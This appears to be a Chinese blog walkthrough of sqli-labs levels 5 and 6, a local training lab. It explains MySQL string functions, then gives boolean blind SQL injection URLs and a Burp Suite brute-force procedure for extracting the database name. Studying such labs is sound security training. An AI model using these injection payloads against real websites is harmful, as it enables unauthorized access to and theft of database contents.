zoukankan      html  css  js  c++  java
  • sqli-labs(5-6关)

    知识点:

      1.left函数,left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。

         

      2.regexp函数,例如:select user()regexp ‘r’;user的结果是root,regexp为匹配root的正则表达式。

              

      3.like函数,例如:select user()like ‘ro%’;与regexp函数相似

        

      4.substr(a,b,c),从位置b开始,截取a字符串c位长度 

       

      5.ascii函数,将某个字符串转化为ascii值

        

       6.chr(数字)或者是ord(‘字母’),使用python中的这两个函数可以判断当前的ascii值是多少

          

       7.以security库为例:

          select left(database(),1)=‘s’;  判断前一位是否是s

          select database() regepx 's';  匹配第一个字符是否是s

          select database() like 's%';  匹配第一个字符是否是s

          select substr((select database()),1,1)='s';  匹配第一个字符是否是s

          select substr((select database(),1,3)='sec';  匹配前三个字符是否是sec

          select ascii(substr((select database()),1,1));  直接回显是115

             select ascii(substr((select database()),1,1))>110;  如果大于110,就返回1,否则返回0

    第五关(Less-5):boolean注入

      1.根据提示,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1

      2.在输入id为1000,发现没有回显值

      通过1,2发现,正确是会返回结果You are in......,错误是无返回结果

      3.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1',出现错误,报错信息显示在1附近多余一个分号,故存在SQL注入漏洞

      4.使用order查看列数,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 3 --+,显示正常

      5.将3改为4,输入 http://127.0.0.1/sqli-labs-master/Less-5/?id=1' order by 4 --+,显示Unkown,说明有三列

      6. 不能使用union select进行联合查询,因为没有输出用户和密码,正确输出You are in...,错误不会显示

      7.使用left函数,判断第一位是否是s,返回正常,说明第一位是s

      8.接下来进行第二位的猜测,输入se,猜测正确,前两位是se

      9.使用BurpLoader,打开火狐的代理。当第一位不知道时,输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left((select database()),1)='a' --+,抓包得到数据

      10.将其发送至爆破模块,首先清楚美元符号

      11.我们爆破的是第一位的值,即报文中的a,将a作为变量添加美元符号

      12.点击payloads选择

      13.点击Options,将线程改为30,进行暴力破解

      14.通过返回的长度进行观察,s返回的长度是1009,而其余是1025

      15.查看返回1009的情况下的数据,出现You are in...,说明数据正确,第一位即为s

      16.第一位即为s,接下来进行第二位的猜解,

       17.点击payloads选择

       18.点击Options,调节线程,然后进行暴力破解

      19.观察长度发现,e的长度与其他不同,查看返回结果,发现You are in...,说明第二位即为e,其余爆破步骤均相同,即可得到security库名。

    第六关(Less-6):

      1.根据提示,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1,根据第五关可知,显示You are in...为正常

      2.加上单引号,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1',显示正常

      3.将单引号改为双引号,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1",出现错误,可知存在注入漏洞

      4.使用order by查看有几列,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 3 --+,返回正常

      5.将3改为4,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1" order by 4 --+,发现错误,所以存在三列

      6.使用BurpLoader,打开火狐的代理。当第一位不知道时,输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1'and left((select database()),1)='a' --+,抓包得到数据

      7.将其发送至爆破模块,首先清楚美元符号

      8.我们爆破的是第一位的值,即报文中的a,将a作为变量添加美元符号

      9.设置payloads和Options

     

       10.进行暴力破解,观察长度可知,s与其余长度均不相同,再查看返回数据可知,出现You are in......,可知第一位即为s,其余为爆破步骤相同

      

  • 相关阅读:
    为什么不能直接导入Statsmodels使用?
    数据分析工作的主要内容和基本流程
    Nodejs 包与 NPM 第三方模块安装和 package.json 以及 CNPM (4)
    CommonJs 和 Nodejs 中自定义模块 (3)
    pyhthon 处理pdf 合集
    02 nodejs HTTP模块和url模块配置supervisor
    1 nodejs简介与开发环境配置
    mysql 修改root密码和禁用无密码登录配置
    floodFill填充函数函数(六)
    粗略的调整图片对比度和亮度(五)
  • 原文地址:https://www.cnblogs.com/mxm0117/p/12245538.html
Copyright © 2011-2022 走看看